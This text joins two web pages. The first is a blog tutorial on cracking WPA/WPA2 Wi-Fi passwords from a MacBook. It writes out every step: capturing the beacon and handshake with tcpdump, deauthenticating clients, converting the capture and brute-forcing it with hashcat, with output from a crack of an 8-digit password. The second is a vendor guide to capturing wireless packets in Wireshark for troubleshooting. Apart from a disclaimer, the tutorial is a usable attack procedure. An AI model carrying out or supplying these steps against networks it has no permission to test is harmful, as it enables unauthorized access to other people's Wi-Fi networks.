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Hacking. Wi-Fi Penetration on MacOS

Disclaimer: this post for education purposes only.

A wireless network with WPA/WPA security not guarantee a total safety. WiFi packets could be sniffed by an attacker that can stole a WiFi passwords, then he connects to your secured network. But he is need to decode a hash of password. The complexity and time to get a password phrase completely depends on the password. Passwords consists only digits cracks minutes or hours, the password “HasGUS%f@$SAfga63efSA%$S(SACSASj)” require a hundred years to crack it.

MacOS isn’t known as an ideal operating system for hacking without customization, but it includes native tools that allow easy control of the Wi-Fi radio for packet sniffing. Changing channels, scanning for access points, and even capturing packets all can be done from the command line.

This manual show a manual to crack WiFi password from my MacBook Pro with MacOS 10.13 (HighSierra). I want to save the instruction to the future. If you want to repeat it you should familiar with console terminal.

prerequisites

installation requirements

1. You need the Homebrew package manager installed. If you don’t have it, use the one-liner below to install it. It will also install Xcode command line tools and all necessary dependencies. You will need to enter your administrator password and it will take up to 5 minutes:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport 

git clone https://github.com/hashcat/hashcat-utils.git cd hashcat-utils/src gcc -o cap2hccapx cap2hccapx.c sudo mv ./cap2hccapx /usr/local/bin/ 

airport -h aircrack-ng --help cap2hccapx -h hashcat -h hcxhash2cap -h tcpdump -h tshark -h 

identify the target access point

• Basic Service Set Identifier (BSSID).
• Service Set Identifier (SSID).
• Radio Frequency (Channel).
• Access Point (AP).

Now, this command will be scanning the available Wi-Fi.

networksetup -listallhardwareports 

Hardware Port: Wi-Fi Device: en0 Ethernet Address: . 

export BSSID=6e:57:ca:24:09:8c sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon.cap 

NOTE: It seeams that Jam Wi-Fi was unsupported by author. I recommend use bettercap and this manual to deauth clients if you have trouble to run Jam Wi-Fi.

1. When you “Done” with death, run quickly next command. You have to capture a handshake in time

export BSSID=6e:57:ca:24:09:8c sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake.cap 

After you have it press «Control + C» to stop capturing.

Merge the Beacon and Handshake

mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap 

brute forcing

• Brute Force — A brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly.
• Wordlist — A written collection of all words derived from a particular source.

cap2hccapx capture.cap capture.hccapx 

Hashcat doesn’t take cap files, only hccapx files. So we need convert this files. Other way to made it is use a online tool.

Review the result. You should see the phrase Networks detected: X. Written X WPA Handshakes . The example of success result is:

Networks detected: 1 [*] BSSID=6e:57:ca:24:09:8c ESSID=Ruslan Gainanov (Length: 15) --> STA=14:16:9e:67:7e:c5, Message Pair=0, Replay Counter=1 --> STA=14:16:9e:67:7e:c5, Message Pair=2, Replay Counter=1 --> STA=14:16:9e:67:7e:c5, Message Pair=0, Replay Counter=1 --> STA=14:16:9e:67:7e:c5, Message Pair=2, Replay Counter=1 Written 4 WPA Handshakes to: capture.hccapxn 

.2. Now, everything are right to execute the hashcat. We can use a wordlist or a pattern to broke a password. Using a wordlist (example of wordlists — https://github.com/kennyn510/wpa2-wordlists.git):

hashcat -m 2500 capture.hccapx wordlist.txt 

Using a pattern — 8 digits:

hashcat -m 2500 -a3 capture.hccapx "?d?d?d?d?d?d?d?d" 

For more examples press here. For more patterns, see the documentation.

my results

I use the hashcat with pattern, that works on GPU. On my MacBook Pro, it yields a performance of 41kH/s: it tests 41000 passwords in a second.

OpenCL Platform #1: Apple ========================= * Device #1: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped. * Device #2: Intel(R) HD Graphics 630, 384/1536 MB allocatable, 24MCU * Device #3: AMD Radeon Pro 555 Compute Engine, 512/2048 MB allocatable, 12MCU Speed.#2. 6578 H/s (6.48ms) @ Accel:8 Loops:4 Thr:256 Vec:1 Speed.#3. 35286 H/s (10.78ms) @ Accel:32 Loops:16 Thr:256 Vec:1 Speed.#*. 41864 H/s 

The cracking a WiFi password consists 8 digits took me twenty minutes (20 mins, 17 secs).

12822b8013c116a3dff33d4bbc3fb2cb:6e57ca24098c:14169e677ec5:Ruslan Gainanov:12345670 Session. hashcat Status. Cracked Hash.Type. WPA-EAPOL-PBKDF2 Hash.Target. capture.hccapx Time.Started. Fri Jul 17 18:11:20 2020 (20 mins, 17 secs) Time.Estimated. Fri Jul 17 18:31:37 2020 (0 secs) Guess.Mask. ?d?d?d?d?d?d?d?d [8] Guess.Queue. 1/1 (100.00%) Speed.#2. 6583 H/s (6.76ms) @ Accel:8 Loops:4 Thr:256 Vec:1 Speed.#3. 33997 H/s (10.02ms) @ Accel:32 Loops:16 Thr:256 Vec:1 Speed.#*. 40580 H/s Recovered. 2/2 (100.00%) Digests, 1/1 (100.00%) Salts Progress. 49397760/100000000 (49.40%) Rejected. 0/49397760 (0.00%) Restore.Point. 4620288/10000000 (46.20%) Restore.Sub.#2. Salt:0 Amplifier:3-4 Iteration:0-2 Restore.Sub.#3. Salt:0 Amplifier:0-1 Iteration:1-3 Candidates.#2. 32303174 -> 31682841 Candidates.#3. 18328292 -> 15530236 Started: Fri Jul 17 18:11:13 2020 Stopped: Fri Jul 17 18:31:39 2020 

Is true that my network named Ruslan Gainanov has a password — 12345670 .

conclusion

Please be aware that attacking Wi-Fi Protected Access (WPA) is illegal unless you have permission from the owner’s access point or affiliation involved. This post should be used as Educational Purposes, to help the public understand how hackers take advantage of your access.

additional information

• Youtube Video — video example of hacking WiFi password
• Hacking: Aircrack-ng on Mac OsX — Cracking wi-fi without kali in parallels — the blog article that I based
• Hacking: Wi-Fi Penetration on MacOS — another good article on Medium
• Cracking WPA/WPA2 with hashcat — brief manual of hashcat using
• New attack on WPA/WPA2 using PMKID — a new technique to crack WPA PSK without capturing a full EAPOL 4-way handshake

Updated: September 25, 2022

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How to Capture the Wireless Packets on MacBook

Updated 06-27-2022 08:11:31 AM 9903

Introduction

Packets capture and analysis are very important for us to troubleshoot when some unexpected wireless connection problems occur such as the wireless client unable to associate with the SSID, the client not obtain an IP address, or intermittent wireless connection, etc. This document will discuss how to capture the wireless packets by using the MacBook and WireShark.

Prerequisites

WireShark is available at www.wireshark.org. It’s a free and powerful sniffing and analyzing software.

Modern MacBook is recommended because 1) its wireless NIC driver supports monitor mode. 2) It has 3×3 radios that can sniff 3 NSS traffic. Some wireless NIC with special driver can also work at monitor mode and capture wireless packets.

Note: If the wireless NIC doesn’t support monitor mode, the WireShark cannot capture full 802.11 frames (including 802.11 management, control and data frame) and the WireShark will transfer the 802.11 frame to the fake 802.3 frame which doesn’t have the head info of the 802.11 frame.

Typical Wireless Packet Capturing Topology

Assuming the wireless client has Wi-Fi connection problem, we can use the MacBook running with WireShark as the monitoring device near the AP or the wireless client to capture the interactive wireless packets between the Wireless Client and the AP.

1. Download and install the macOS version WireShark on your MacBook
2. Open WireShark
3. Click on the gear icon at the top

1. Click close and restart the WireShark.
2. Connect the MacBook to the SSID first to make sure the NIC is sniffing the packets from the channel that the radio is using.

Why is this step necessary? According to the test, after the MacBook connects or just tries to connect to a specific SSID, the WireShark can then sniff the wireless packets in the same channel of this SSID. And we haven’t found other efficient ways to steer the WireShark to sniff packets on a specific channel.

1. Start a capture on Wi-Fi en0. You should see beacon frames interspersed with data frames as shown in the picture below. Please start capturing when you begin to elaborate the Wi-Fi issue and stop capturing when you finish the elaboration.

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